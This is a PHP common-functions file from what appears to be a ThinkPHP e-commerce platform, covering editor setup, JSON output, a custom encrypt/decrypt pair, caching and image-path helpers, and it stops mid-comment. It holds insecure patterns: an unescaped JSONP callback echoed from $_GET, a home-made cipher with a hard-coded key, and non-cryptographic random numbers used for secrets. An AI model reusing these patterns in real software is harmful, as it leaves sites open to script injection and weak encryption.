common.php 39 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288
  1. <?php
  2. use think\facade\Db;
  3. use think\facade\Log;
  4. /* 引用全局定义 */
  5. require __DIR__ . '/common_global.php';
  6. /* 商品相关调用 */
  7. require __DIR__ . '/common_goods.php';
  8. /* 图片上传、生成缩略图、删除等操作调用 */
  9. require __DIR__ . '/common_upload.php';
  10. function ds_validate($name)
  11. {
  12. $name = preg_replace_callback('/([-_]+([a-z]{1}))/i', function ($matches) {
  13. return strtoupper($matches[2]);
  14. }, $name);
  15. $class_name = '\app\common\validate\\' . ucfirst($name);
  16. return new $class_name;
  17. }
  18. function model($name, $layer = 'model')
  19. {
  20. $name = preg_replace_callback('/([-_]+([a-z]{1}))/i', function ($matches) {
  21. return strtoupper($matches[2]);
  22. }, $name);
  23. $class_name = '\app\common\\' . $layer . '\\' . ucfirst($name);
  24. return new $class_name;
  25. }
  26. /*
  27. * 更换数组的键值 为了应对 ->key
  28. */
  29. function ds_change_arraykey($array, $key)
  30. {
  31. $data = array();
  32. foreach ($array as $value) {
  33. $data[$value[$key]] = $value;
  34. }
  35. return $data;
  36. }
  37. /**
  38. *
  39. * @param type $table 数据表
  40. * @param type $field 条件对应的字段
  41. * @param type $name 条件对应的值
  42. * @param type $value 数值
  43. * @return type
  44. */
  45. function ds_getvalue_byname($table, $field, $name, $value)
  46. {
  47. return Db::name($table)->where($field, $name)->value($value);
  48. }
  49. /*
  50. * 编辑器内容
  51. */
  52. function build_editor($params = array())
  53. {
  54. $name = isset($params['name']) ? $params['name'] : null;
  55. $theme = isset($params['theme']) ? $params['theme'] : 'normal';
  56. $content = isset($params['content']) ? $params['content'] : null;
  57. //http://fex.baidu.com/ueditor/#start-toolbar
  58. /* 指定使用哪种主题 */
  59. $themes = array(
  60. 'normal' => "[
  61. 'fullscreen', 'source', '|', 'undo', 'redo', '|',
  62. 'bold', 'italic', 'underline', 'fontborder', 'strikethrough', 'superscript', 'subscript', 'removeformat', 'formatmatch', 'autotypeset', 'blockquote', 'pasteplain', '|', 'forecolor', 'backcolor', 'insertorderedlist', 'insertunorderedlist', 'selectall', 'cleardoc', '|',
  63. 'rowspacingtop', 'rowspacingbottom', 'lineheight', '|',
  64. 'customstyle', 'paragraph', 'fontfamily', 'fontsize', '|',
  65. 'directionalityltr', 'directionalityrtl', 'indent', '|',
  66. 'justifyleft', 'justifycenter', 'justifyright', 'justifyjustify', '|', 'touppercase', 'tolowercase', '|',
  67. 'link', 'unlink', 'anchor', '|', 'imagenone', 'imageleft', 'imageright', 'imagecenter', '|',
  68. 'emotion', 'map', 'gmap', 'insertcode', 'template', '|',
  69. 'horizontal', 'date', 'time', 'spechars', '|',
  70. 'inserttable', 'deletetable', 'insertparagraphbeforetable', 'insertrow', 'deleterow', 'insertcol', 'deletecol', 'mergecells', 'mergeright', 'mergedown', 'splittocells', 'splittorows', 'splittocols', 'charts', '|',
  71. 'searchreplace', 'help', 'drafts', 'charts'
  72. ]", 'simple' => " ['fullscreen', 'source', 'undo', 'redo', 'bold']",
  73. );
  74. switch ($theme) {
  75. case 'simple':
  76. $theme_config = $themes['simple'];
  77. break;
  78. case 'normal':
  79. $theme_config = $themes['normal'];
  80. break;
  81. default:
  82. $theme_config = $themes['normal'];
  83. break;
  84. }
  85. /* 配置界面语言 */
  86. switch (config('lang.default_lang')) {
  87. case 'zh-cn':
  88. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/zh-cn/zh-cn.js';
  89. break;
  90. case 'en-us':
  91. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/en/en.js';
  92. break;
  93. default:
  94. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/zh-cn/zh-cn.js';
  95. break;
  96. }
  97. $include_js = '<script type="text/javascript" charset="utf-8" src="' . PLUGINS_SITE_ROOT . '/ueditor/ueditor.config.js"></script> <script type="text/javascript" charset="utf-8" src="' . PLUGINS_SITE_ROOT . '/ueditor/ueditor.all.min.js""> </script><script type="text/javascript" charset="utf-8" src="' . $lang . '"></script>';
  98. $content = json_encode($content);
  99. $str = <<<EOT
  100. $include_js
  101. <script type="text/javascript">
  102. var ue = UE.getEditor('{$name}',{
  103. toolbars:[{$theme_config}],
  104. });
  105. if($content){
  106. ue.ready(function() {
  107. this.setContent($content);
  108. })
  109. }
  110. </script>
  111. EOT;
  112. return $str;
  113. }
  114. /**
  115. *
  116. * @param type $code 100000表示为正确,其他为错误代码
  117. * @param type $message 提示消息
  118. * @param type $result 返回数据
  119. * @param type $$requestMethod 返回请求Method
  120. */
  121. function ds_json_encode($code, $message = '', $result = '', $requestMethod = '', $if_exit = true)
  122. {
  123. $data = array('code' => $code, 'message' => $message, 'result' => $result, 'requestMethod' => $requestMethod);
  124. if (!empty($_GET['callback'])) {
  125. echo $_GET['callback'] . '(' . json_encode($data) . ')';
  126. } else {
  127. echo json_encode($data);
  128. }
  129. if ($if_exit) {
  130. exit;
  131. }
  132. }
  133. /**
  134. * 规范数据返回函数
  135. * @param unknown $code
  136. * @param unknown $msg
  137. * @param unknown $data
  138. * @return multitype:unknown
  139. */
  140. function ds_callback($code, $msg = '', $data = array())
  141. {
  142. return array('code' => $code, 'msg' => $msg, 'data' => $data);
  143. }
  144. /**
  145. * 格式化字节大小
  146. * @param number $size 字节数
  147. * @param string $delimiter 数字和单位分隔符
  148. * @return string 格式化后的带单位的大小
  149. */
  150. function format_bytes($size, $delimiter = '')
  151. {
  152. $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
  153. for ($i = 0; $size >= 1024 && $i < 5; $i++)
  154. $size /= 1024;
  155. return round($size, 2) . $delimiter . $units[$i];
  156. }
  157. /**
  158. * 消息提示,主要适用于普通页面AJAX提交的情况
  159. *
  160. * @param string $message 消息内容
  161. * @param string $url 提示完后的URL去向
  162. * @param stting $alert_type 提示类型 error/succ/notice 分别为错误/成功/警示
  163. * @param string $extrajs 扩展JS
  164. * @param int $time 停留时间
  165. */
  166. function ds_show_dialog($message = '', $url = '', $alert_type = 'error', $extrajs = '', $time = 2)
  167. {
  168. $message = str_replace("'", "\\'", strip_tags($message));
  169. $paramjs = null;
  170. if ($url == 'reload') {
  171. $paramjs = 'window.location.reload()';
  172. } elseif ($url != '') {
  173. $paramjs = 'window.location.href =\'' . $url . '\'';
  174. }
  175. if ($paramjs) {
  176. $paramjs = 'function (){' . $paramjs . '}';
  177. } else {
  178. $paramjs = 'null';
  179. }
  180. $modes = array('error' => 'alert', 'succ' => 'succ', 'notice' => 'notice', 'js' => 'js');
  181. $cover = $alert_type == 'error' ? 1 : 0;
  182. $extra = 'showDialog(\'' . $message . '\', \'' . $modes[$alert_type] . '\', null, ' . ($paramjs ? $paramjs : 'null') . ', ' . $cover . ', null, null, null, null, ' . (is_numeric($time) ? $time : 'null') . ', null);';
  183. $extra = '<script type="text/javascript" reload="1">' . $extra . '</script>';
  184. if ($extrajs != '' && substr(trim($extrajs), 0, 7) != '<script') {
  185. $extrajs = '<script type="text/javascript" reload="1">' . $extrajs . '</script>';
  186. }
  187. $extra .= $extrajs;
  188. ob_end_clean();
  189. @header("Expires: -1");
  190. @header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE);
  191. @header("Pragma: no-cache");
  192. @header("Content-type: text/xml; charset=utf-8");
  193. $string = '<?xml version="1.0" encoding="utf-8"?>' . "\r\n";
  194. $string .= '<root><![CDATA[' . $message . $extra . ']]></root>';
  195. echo $string;
  196. exit;
  197. }
  198. /**
  199. * 取上一步来源地址
  200. *
  201. * @param
  202. * @return string 字符串类型的返回结果
  203. */
  204. function get_referer()
  205. {
  206. return empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'];
  207. }
  208. /**
  209. * 加密函数
  210. *
  211. * @param string $txt 需要加密的字符串
  212. * @param string $key 密钥
  213. * @return string 返回加密结果
  214. */
  215. function ds_encrypt($txt, $key = '')
  216. {
  217. if (empty($txt))
  218. return $txt;
  219. if (empty($key))
  220. $key = md5(config('ds_config.setup_date'));
  221. $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
  222. $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
  223. $nh1 = rand(0, 64);
  224. $nh2 = rand(0, 64);
  225. $nh3 = rand(0, 64);
  226. $ch1 = $chars{
  227. $nh1};
  228. $ch2 = $chars{
  229. $nh2};
  230. $ch3 = $chars{
  231. $nh3};
  232. $nhnum = $nh1 + $nh2 + $nh3;
  233. $knum = 0;
  234. $i = 0;
  235. while (isset($key{
  236. $i}))
  237. $knum += ord($key{
  238. $i++});
  239. $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
  240. $txt = base64_encode(TIMESTAMP . '_' . $txt);
  241. $txt = str_replace(array('+', '/', '='), array('-', '_', '.'), $txt);
  242. $tmp = '';
  243. $j = 0;
  244. $k = 0;
  245. $tlen = strlen($txt);
  246. $klen = strlen($mdKey);
  247. for ($i = 0; $i < $tlen; $i++) {
  248. $k = $k == $klen ? 0 : $k;
  249. $j = ($nhnum + strpos($chars, $txt{
  250. $i}) + ord($mdKey{
  251. $k++})) % 64;
  252. $tmp .= $chars{
  253. $j};
  254. }
  255. $tmplen = strlen($tmp);
  256. $tmp = substr_replace($tmp, $ch3, $nh2 % ++$tmplen, 0);
  257. $tmp = substr_replace($tmp, $ch2, $nh1 % ++$tmplen, 0);
  258. $tmp = substr_replace($tmp, $ch1, $knum % ++$tmplen, 0);
  259. return $tmp;
  260. }
  261. /**
  262. * 解密函数
  263. *
  264. * @param string $txt 需要解密的字符串
  265. * @param string $key 密匙
  266. * @return string 字符串类型的返回结果
  267. */
  268. function ds_decrypt($txt, $key = '', $ttl = 0)
  269. {
  270. if (empty($txt))
  271. return $txt;
  272. if (empty($key))
  273. $key = md5(config('ds_config.setup_date'));
  274. $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
  275. $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
  276. $knum = 0;
  277. $i = 0;
  278. $tlen = @strlen($txt);
  279. while (isset($key{
  280. $i}))
  281. $knum += ord($key{
  282. $i++});
  283. $ch1 = @$txt{
  284. $knum % $tlen};
  285. $nh1 = strpos($chars, $ch1);
  286. $txt = @substr_replace($txt, '', $knum % $tlen--, 1);
  287. $ch2 = @$txt{
  288. $nh1 % $tlen};
  289. $nh2 = @strpos($chars, $ch2);
  290. $txt = @substr_replace($txt, '', $nh1 % $tlen--, 1);
  291. $ch3 = @$txt{
  292. $nh2 % $tlen};
  293. $nh3 = @strpos($chars, $ch3);
  294. $txt = @substr_replace($txt, '', $nh2 % $tlen--, 1);
  295. $nhnum = $nh1 + $nh2 + $nh3;
  296. $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
  297. $tmp = '';
  298. $j = 0;
  299. $k = 0;
  300. $tlen = @strlen($txt);
  301. $klen = @strlen($mdKey);
  302. for ($i = 0; $i < $tlen; $i++) {
  303. $k = $k == $klen ? 0 : $k;
  304. $j = strpos($chars, $txt{
  305. $i}) - $nhnum - ord($mdKey{
  306. $k++});
  307. while ($j < 0)
  308. $j += 64;
  309. $tmp .= $chars{
  310. $j};
  311. }
  312. $tmp = str_replace(array('-', '_', '.'), array('+', '/', '='), $tmp);
  313. $tmp = trim(base64_decode($tmp));
  314. if (preg_match("/\d{10}_/s", substr($tmp, 0, 11))) {
  315. if ($ttl > 0 && (TIMESTAMP - (int) substr($tmp, 0, 11) > $ttl)) {
  316. $tmp = null;
  317. } else {
  318. $tmp = substr($tmp, 11);
  319. }
  320. }
  321. return $tmp;
  322. }
  323. /**
  324. * 获取文件列表(所有子目录文件)
  325. *
  326. * @param string $path 目录
  327. * @param array $file_list 存放所有子文件的数组
  328. * @param array $ignore_dir 需要忽略的目录或文件
  329. * @return array 数据格式的返回结果
  330. */
  331. function read_file_list($path, &$file_list, $ignore_dir = array())
  332. {
  333. $path = rtrim($path, '/');
  334. if (is_dir($path)) {
  335. $handle = @opendir($path);
  336. if ($handle) {
  337. while (false !== ($dir = readdir($handle))) {
  338. if ($dir != '.' && $dir != '..') {
  339. if (!in_array($dir, $ignore_dir)) {
  340. if (is_file($path . '/' . $dir)) {
  341. $file_list[] = $path . '/' . $dir;
  342. } elseif (is_dir($path . '/' . $dir)) {
  343. read_file_list($path . '/' . $dir, $file_list, $ignore_dir);
  344. }
  345. }
  346. }
  347. }
  348. @closedir($handle);
  349. } else {
  350. return false;
  351. }
  352. } else {
  353. return false;
  354. }
  355. }
  356. /**
  357. * 价格格式化
  358. *
  359. * @param int $price
  360. * @return string $price_format
  361. */
  362. function ds_price_format($price)
  363. {
  364. $price_format = number_format($price, 2, '.', '');
  365. return $price_format;
  366. }
  367. /**
  368. * 价格格式化
  369. *
  370. * @param int $price
  371. * @return string $price_format
  372. */
  373. function ds_price_format_forlist($price)
  374. {
  375. if ($price >= 10000) {
  376. return number_format(floor($price / 100) / 100, 2, '.', '') . lang('ten_thousand');
  377. } else {
  378. return lang('currency') . $price;
  379. }
  380. }
  381. /**
  382. * 通知邮件/通知消息 内容转换函数
  383. *
  384. * @param string $message 内容模板
  385. * @param array $param 内容参数数组
  386. * @return string 通知内容
  387. */
  388. function ds_replace_text($message, $param)
  389. {
  390. if (!is_array($param))
  391. return false;
  392. foreach ($param as $k => $v) {
  393. $message = str_replace('${' . $k . '}', $v, $message);
  394. }
  395. return $message;
  396. }
  397. /** @noinspection InconsistentLineSeparators */
  398. /**
  399. * 字符串切割函数,一个字母算一个位置,一个字算2个位置
  400. *
  401. * @param string $string 待切割的字符串
  402. * @param int $length 切割长度
  403. * @param string $dot 尾缀
  404. */
  405. function str_cut($string, $length, $dot = '')
  406. {
  407. $string = str_replace(array(
  408. '&nbsp;', '&amp;', '&quot;', '&#039;', '&ldquo;', '&rdquo;', '&mdash;', '&lt;', '&gt;',
  409. '&middot;', '&hellip;'
  410. ), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string);
  411. $strlen = strlen($string);
  412. if ($strlen <= $length)
  413. return $string;
  414. $maxi = $length - strlen($dot);
  415. $strcut = '';
  416. $n = $tn = $noc = 0;
  417. while ($n < $strlen) {
  418. $t = ord($string[$n]);
  419. if ($t == 9 || $t == 10 || (32 <= $t && $t <= 126)) {
  420. $tn = 1;
  421. $n++;
  422. $noc++;
  423. } elseif (194 <= $t && $t <= 223) {
  424. $tn = 2;
  425. $n += 2;
  426. $noc += 2;
  427. } elseif (224 <= $t && $t < 239) {
  428. $tn = 3;
  429. $n += 3;
  430. $noc += 2;
  431. } elseif (240 <= $t && $t <= 247) {
  432. $tn = 4;
  433. $n += 4;
  434. $noc += 2;
  435. } elseif (248 <= $t && $t <= 251) {
  436. $tn = 5;
  437. $n += 5;
  438. $noc += 2;
  439. } elseif ($t == 252 || $t == 253) {
  440. $tn = 6;
  441. $n += 6;
  442. $noc += 2;
  443. } else {
  444. $n++;
  445. }
  446. if ($noc >= $maxi)
  447. break;
  448. }
  449. if ($noc > $maxi)
  450. $n -= $tn;
  451. $strcut = substr($string, 0, $n);
  452. $strcut = str_replace(array('&', '"', "'", '<', '>'), array('&amp;', '&quot;', '&#039;', '&lt;', '&gt;'), $strcut);
  453. return $strcut . $dot;
  454. }
  455. /*
  456. * 重写$_SERVER['REQUREST_URI']
  457. */
  458. function request_uri()
  459. {
  460. if (isset($_SERVER['REQUEST_URI'])) {
  461. $uri = $_SERVER['REQUEST_URI'];
  462. } else {
  463. if (isset($_SERVER['argv'])) {
  464. $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
  465. } else {
  466. $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
  467. }
  468. }
  469. return $uri;
  470. }
  471. function get_member_id_by_XDSKEY()
  472. {
  473. $key = request()->header('X-DS-KEY');
  474. if (!$key) {
  475. return;
  476. }
  477. $mbusertoken_model = model('mbusertoken');
  478. $mb_user_token_info = $mbusertoken_model->getMbusertokenInfoByToken($key);
  479. if (empty($mb_user_token_info)) {
  480. return;
  481. } else {
  482. return $mb_user_token_info['member_id'];
  483. }
  484. }
  485. function get_member_idcard_image($member_image)
  486. {
  487. if ($member_image) {
  488. return ds_get_pic(ATTACH_IDCARD_IMAGE, $member_image);
  489. }
  490. return '';
  491. }
  492. /**
  493. * 取得用户头像图片
  494. *
  495. * @param string $member_avatar
  496. * @return string
  497. */
  498. function get_member_avatar($member_avatar)
  499. {
  500. if (empty($member_avatar)) {
  501. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_user_portrait'));
  502. } else {
  503. $url = ds_get_pic(ATTACH_AVATAR, $member_avatar);
  504. if ($url) {
  505. return $url;
  506. } else {
  507. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_user_portrait'));
  508. }
  509. }
  510. }
  511. /**
  512. * 成员头像
  513. * @param string $member_id
  514. * @return string
  515. */
  516. function get_member_avatar_for_id($id)
  517. {
  518. $member_model = model('member');
  519. $member_info = $member_model->getMemberInfoByID($id);
  520. if ($member_info) {
  521. return get_member_avatar($member_info['member_avatar']);
  522. }
  523. }
  524. /**
  525. * 取得店铺标志
  526. *
  527. * @param string $img 图片名
  528. * @param string $type 查询类型 store_logo/store_avatar
  529. * @return string
  530. */
  531. function get_store_logo($img, $type = 'store_avatar')
  532. {
  533. $linfo = explode('_', $img);
  534. $store_id = $linfo['0'];
  535. if ($store_id == 'alioss') {
  536. $store_id = $linfo['1'];
  537. }
  538. if ($type == 'store_avatar') {
  539. if (empty($img)) {
  540. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_avatar'));
  541. } else {
  542. $url = ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  543. if (!$url) {
  544. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_avatar'));
  545. } else {
  546. return $url;
  547. }
  548. }
  549. } elseif ($type == 'store_logo') {
  550. if (empty($img)) {
  551. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_logo'));
  552. } else {
  553. return ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  554. }
  555. } elseif ($type == 'store_banner') {
  556. if (!empty($img)) {
  557. return ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  558. }
  559. }
  560. }
  561. function get_adv_code($adv_code)
  562. {
  563. $url = ds_get_pic(ATTACH_ADV, $adv_code);
  564. if (!$url) {
  565. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  566. } else {
  567. return $url;
  568. }
  569. }
  570. function get_appadv_code($adv_code)
  571. {
  572. $url = ds_get_pic(ATTACH_APPADV, $adv_code);
  573. if (!$url) {
  574. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  575. } else {
  576. return $url;
  577. }
  578. }
  579. /**
  580. * 获取用户相册图片
  581. * @param type $user_id
  582. * @param type $ap_cover
  583. * @return type
  584. */
  585. function get_snsalbumpic($user_id, $ap_cover)
  586. {
  587. $url = ds_get_pic(ATTACH_MALBUM . '/' . $user_id, $ap_cover);
  588. if (!$url) {
  589. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  590. } else {
  591. return $url;
  592. }
  593. }
  594. /**
  595. * 获取开店申请图片
  596. */
  597. function get_store_joinin_imageurl($image_name = '')
  598. {
  599. return ds_get_pic(ATTACH_STORE_JOININ, $image_name);
  600. }
  601. /**
  602. * 获取提货点图片
  603. */
  604. function get_chain_imageurl($image_name = '')
  605. {
  606. return ds_get_pic(ATTACH_CHAIN, $image_name);
  607. }
  608. /**
  609. * 取得随机数
  610. *
  611. * @param int $length 生成随机数的长度
  612. * @param int $numeric 是否只产生数字随机数 1是0否
  613. * @return string
  614. */
  615. function random($length, $numeric = 0)
  616. {
  617. $seed = base_convert(md5(microtime() . $_SERVER['DOCUMENT_ROOT']), 16, $numeric ? 10 : 35);
  618. $seed = $numeric ? (str_replace('0', '', $seed) . '012340567890') : ($seed . 'zZ' . strtoupper($seed));
  619. $hash = '';
  620. $max = strlen($seed) - 1;
  621. for ($i = 0; $i < $length; $i++) {
  622. $hash .= $seed{
  623. mt_rand(0, $max)};
  624. }
  625. return $hash;
  626. }
  627. /**
  628. * sns表情标示符替换为html
  629. */
  630. function parsesmiles($message, $type = 0)
  631. {
  632. if ($type == 1) {
  633. $chat_goods = $message;
  634. $message = '<div class="dstouch-chat-product"> <a href="' . HOME_SITE_URL . '/goods/index?goods_id=' . $chat_goods['goods_id'] . '" target="_blank"><div class="goods-pic"><img src="' . $chat_goods['goods_image_url'] . '" alt=""/></div><div class="goods-info"><div class="goods-name">' . $chat_goods['goods_name'] . '</div><div class="goods-price">¥' . $chat_goods['goods_price'] . "</div></div></a> </div>";
  635. } else {
  636. $file = root_path() . 'extend/smilies.php';
  637. if (file_exists($file)) {
  638. include $file;
  639. if (!empty($smilies_array) && is_array($smilies_array)) {
  640. $imagesurl = PLUGINS_SITE_ROOT . '/js' . '/smilies' . '/images' . '/';
  641. $replace_arr = array();
  642. foreach ($smilies_array['replacearray'] as $key => $smiley) {
  643. $replace_arr[$key] = '<img src="' . $imagesurl . $smiley['imagename'] . '" title="' . $smiley['desc'] . '" border="0" alt="' . $imagesurl . $smiley['desc'] . '" />';
  644. }
  645. $message = preg_replace($smilies_array['searcharray'], $replace_arr, $message);
  646. }
  647. }
  648. }
  649. return $message;
  650. }
  651. /**
  652. * 延时加载分页功能,判断是否有更多连接和limitstart值和经过验证修改的$delay_eachnum值
  653. * @param int $delay_eachnum 延时分页每页显示的条数
  654. * @param int $delay_page 延时分页当前页数
  655. * @param int $count 总记录数
  656. * @param bool $ispage 是否在分页模式中实现延时分页(前台显示的两种不同效果)
  657. * @param int $page_nowpage 分页当前页数
  658. * @param int $page_eachnum 分页每页显示条数
  659. * @param int $page_limitstart 分页初始limit值
  660. * @return array array('hasmore'=>'是否显示更多连接','limitstart'=>'加载的limit开始值','delay_eachnum'=>'经过验证修改的$delay_eachnum值');
  661. */
  662. function lazypage($delay_eachnum, $delay_page, $count, $ispage = false, $page_nowpage = 1, $page_eachnum = 1, $page_limitstart = 1)
  663. {
  664. //是否有多余
  665. $hasmore = true;
  666. $limitstart = 0;
  667. if ($ispage == true) {
  668. if ($delay_eachnum < $page_eachnum) { //当延时加载每页条数小于分页的每页条数时候实现延时加载,否则按照普通分页程序流程处理
  669. $page_totlepage = ceil($count / $page_eachnum);
  670. //计算limit的开始值
  671. $limitstart = $page_limitstart + ($delay_page - 1) * $delay_eachnum;
  672. if ($page_totlepage > $page_nowpage) { //当前不为最后一页
  673. if ($delay_page >= $page_eachnum / $delay_eachnum) {
  674. $hasmore = false;
  675. }
  676. //判断如果分页的每页条数与延时加载每页的条数不能整除的处理
  677. if ($hasmore == false && $page_eachnum % $delay_eachnum > 0) {
  678. $delay_eachnum = $page_eachnum % $delay_eachnum;
  679. }
  680. } else { //当前最后一页
  681. $showcount = ($page_totlepage - 1) * $page_eachnum + $delay_eachnum * $delay_page; //已经显示的记录总数
  682. if ($count <= $showcount) {
  683. $hasmore = false;
  684. }
  685. }
  686. } else {
  687. $hasmore = false;
  688. }
  689. } else {
  690. if ($count <= $delay_page * $delay_eachnum) {
  691. $hasmore = false;
  692. }
  693. //计算limit的开始值
  694. $limitstart = ($delay_page - 1) * $delay_eachnum;
  695. }
  696. return array('hasmore' => $hasmore, 'limitstart' => $limitstart, 'delay_eachnum' => $delay_eachnum);
  697. }
  698. /**
  699. * 返回以原数组某个值为下标的新数据
  700. *
  701. * @param array $array
  702. * @param string $key
  703. * @param int $type 1一维数组2二维数组
  704. * @return array
  705. */
  706. function array_under_reset($array, $key, $type = 1)
  707. {
  708. if (is_array($array)) {
  709. $tmp = array();
  710. foreach ($array as $v) {
  711. if ($type === 1) {
  712. $tmp[$v[$key]] = $v;
  713. } elseif ($type === 2) {
  714. $tmp[$v[$key]][] = $v;
  715. }
  716. }
  717. return $tmp;
  718. } else {
  719. return $array;
  720. }
  721. }
  722. /**
  723. * KV缓存 读
  724. *
  725. * @param string $key 缓存名称
  726. * @param boolean $callback 缓存读取失败时是否使用回调 true代表使用cache.model中预定义的缓存项 默认不使用回调
  727. * @param callable $callback 传递非boolean值时 通过is_callable进行判断 失败抛出异常 成功则将$key作为参数进行回调
  728. * @return mixed
  729. */
  730. function rkcache($key, $callback = false)
  731. {
  732. $value = cache($key);
  733. if (empty($value) && $callback !== false) {
  734. if ($callback === true) {
  735. $callback = array(model('cache'), 'call');
  736. }
  737. if (!is_callable($callback)) {
  738. throw new \think\Exception('Invalid rkcache callback!', 10006);
  739. }
  740. $value = call_user_func($callback, $key);
  741. wkcache($key, $value);
  742. }
  743. return $value;
  744. }
  745. /**
  746. * KV缓存 写
  747. *
  748. * @param string $key 缓存名称
  749. * @param mixed $value 缓存数据 若设为否 则下次读取该缓存时会触发回调(如果有)
  750. * @param int $expire 缓存时间 单位秒 null代表不过期
  751. * @return boolean
  752. */
  753. function wkcache($key, $value, $expire = 7200)
  754. {
  755. return cache($key, $value, $expire);
  756. }
  757. /**
  758. * KV缓存 删
  759. *
  760. * @param string $key 缓存名称
  761. * @return boolean
  762. */
  763. function dkcache($key)
  764. {
  765. return cache($key, NULL);
  766. }
  767. /**
  768. * 读取缓存信息
  769. *
  770. * @param string $key 要取得缓存键
  771. * @param string $prefix 键值前缀
  772. * @return array/bool
  773. */
  774. function rcache($key = null, $prefix = '')
  775. {
  776. if ($key === null || !config('ds_config.cache_open'))
  777. return array();
  778. if (!empty($prefix)) {
  779. $name = $prefix . $key;
  780. } else {
  781. $name = $key;
  782. }
  783. $cache_info = cache($name);
  784. //如果name值不存在,则默认返回 false。
  785. return $cache_info;
  786. }
  787. /**
  788. * 写入缓存
  789. *
  790. * @param string $key 缓存键值
  791. * @param array $data 缓存数据
  792. * @param string $prefix 键值前缀
  793. * @param int $expire 缓存周期 单位分,0为永久缓存
  794. * @return bool 返回值
  795. */
  796. function wcache($key = null, $data = array(), $prefix = '', $expire = 3600)
  797. {
  798. if ($key === null || !config('ds_config.cache_open') || !is_array($data))
  799. return;
  800. if (!empty($prefix)) {
  801. $name = $prefix . $key;
  802. } else {
  803. $name = $key;
  804. }
  805. $cache_info = cache($name, $data, $expire);
  806. //如果设置成功返回true,否则返回false。
  807. return $cache_info;
  808. }
  809. /**
  810. * 删除缓存
  811. * @param string $key 缓存键值
  812. * @param string $prefix 键值前缀
  813. * @return boolean
  814. */
  815. function dcache($key = null, $prefix = '')
  816. {
  817. if ($key === null || !config('ds_config.cache_open'))
  818. return true;
  819. if (!empty($prefix)) {
  820. $name = $prefix . $key;
  821. } else {
  822. $name = $key;
  823. }
  824. return cache($name, NULL);
  825. }
  826. /**
  827. * 输出聊天信息
  828. *
  829. * @return string
  830. */
  831. function get_chat()
  832. {
  833. return Chat::getChatHtml();
  834. }
  835. /**
  836. * 验证是否为平台店铺
  837. *
